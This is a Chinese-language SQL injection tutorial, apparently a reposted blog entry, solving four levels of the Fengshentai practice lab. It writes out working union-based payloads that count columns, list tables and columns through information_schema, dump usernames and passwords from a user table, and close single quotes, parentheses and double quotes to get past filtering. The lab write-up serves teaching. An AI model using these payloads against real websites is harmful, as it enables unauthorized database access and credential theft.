SQL注入實戰篇2--顯錯注入


本次實戰靶場用的封神台的SQL注入靶場。

靶場鏈接:http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1

 

 

 

 

 

看過實戰1后,咱們就直接來試試自己有沒有學會。因為是靶場,所以肯定存在漏洞,咱們就不判斷是否存在注入了。

 

第一步:從頁面顯示來看,這種應該是一個數字型的回顯注入。那么我們就來看看有幾列。

 

構造?id=1 and 1=1 group by 1

 

發現頁面沒有報錯,繼續往后group by 2和group by 3...,當試到4的時候發現查詢不到了,由此判斷應該是有三個字段。

 

第二步:確定有三列以后,接着看看回顯的點。

 

構造?id=1 and 1=2 union select 1,2,3

 

有了這兩個回顯點后,我們就可以簡單查詢一些信息了,像版本、當前數據庫名、所屬用戶等等。

構造?id=1 and 1=2 union select 1,version(),user()

 

 

 

第三步:由第二步獲得了當前數據庫的名稱為error ,接着我們就可以獲取數據庫的一些信息了。

1、查詢所有表:
?id=1%20and%201=2%20union%20select%201,2,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())

 

 

 


2、查詢表的字段 :以user表為例

構造?id=1%20and%201=2%20union%20select%201,2,column_name%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27user%27%20limit%200,1

 

通過更改limit函數后面的數值可以得出此表的三個字段為Id,userame,password

 

 

 

 

 

 

3.查詢某個表中的所有字段 (此例為 error數據庫中的user表):
構造 ?id=1 and 1=2 union select 1,username,password from user limit 0,1

 

 

當然這是第一關,后面幾關就是繞過問題,繞過的姿勢一定要帥。我這邊也給大家一並做了吧

第二關:發現多加了單引號

 

 

 那么我們閉合單引號

構造?id=1%27%20and%201=2%20union%20select%201,2,3%23 就可以搞定了,后面跟前面一樣,我就說個思路。

 

 

 

第三關:在第二關基礎上加括號,一樣的閉合括號

 

 

 那么我們構造?id=1%27)%20and%201=2%20union%20select%201,2,3%23   就可以解決

 

 

 

第四關:單引號變雙引號

 

 

 構造?id=1")%20and%201=2%20union%20select%201,2,3%23

 

 

 

如果大家覺得不過癮,有一個靶場是sql-labs,大家可以自行搭建這個靶場練習。

至此,SQL注入的顯錯注入練習借結束了。下一篇盲注實戰,喜歡的多多關注,感謝。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM